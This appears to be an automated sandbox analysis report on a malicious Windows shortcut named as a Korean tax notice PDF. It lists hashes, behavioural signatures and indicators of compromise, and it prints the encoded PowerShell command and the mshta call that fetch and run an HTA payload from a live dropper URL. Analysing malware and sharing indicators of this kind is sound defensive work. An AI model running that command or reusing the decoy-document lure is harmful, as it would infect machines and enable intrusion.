Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/07/2026, 12:20
Static task
static1
Behavioral task
behavioral1
Sample
국세 고지서.pdf.lnk
Resource
win10v2004-20260513-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
국세 고지서.pdf.lnk
Resource
win11ltsc2024-20260709-en
5 signatures
150 seconds
General
- Target 국세 고지서.pdf.lnk
- Size 2KB
- Sample260717-ph1vjaev6s
- SHA256 e45e9f204f3116fe9e84441321855c88e45c79ad50bb5d2ec48d061a03ffaddb
- MD5 35b4206c73921b370be2f5e1de56d107
- SHA1 ed34e18e7542edb6e8185df10b650e04bfa475a6
- SHA512 593cbcab97496bb39de9f687e837ebdc9eb7f3c5e25202233e67abe0cfc086fbe5007e6d8db683deaace9bedf4c1864c29f020090300232c3968341688f1f86f
- TLSH T1F55142122EF502A9F373D7B257FB76196637F8749B03099C41D142001E51614E87AFBB
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://link24.kr/GP5DOdo
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 1268 mshta.exe 6 1268 mshta.exe 7 1268 mshta.exe 8 1268 mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4984 powershell.exe 4984 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4984 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3332 wrote to memory of 4984 3332 cmd.exe 90 PID 4984 wrote to memory of 1268 4984 powershell.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\국세 고지서.pdf.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAG0AcwBgAGgAdABhACAAIAAgACAAIAAgACAAIgBoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwBHAFAANQBEAE8AZABvACIA2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4984 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://link24.kr/GP5DOdo3⤵
- Badlisted process makes network request
PID:1268
-
-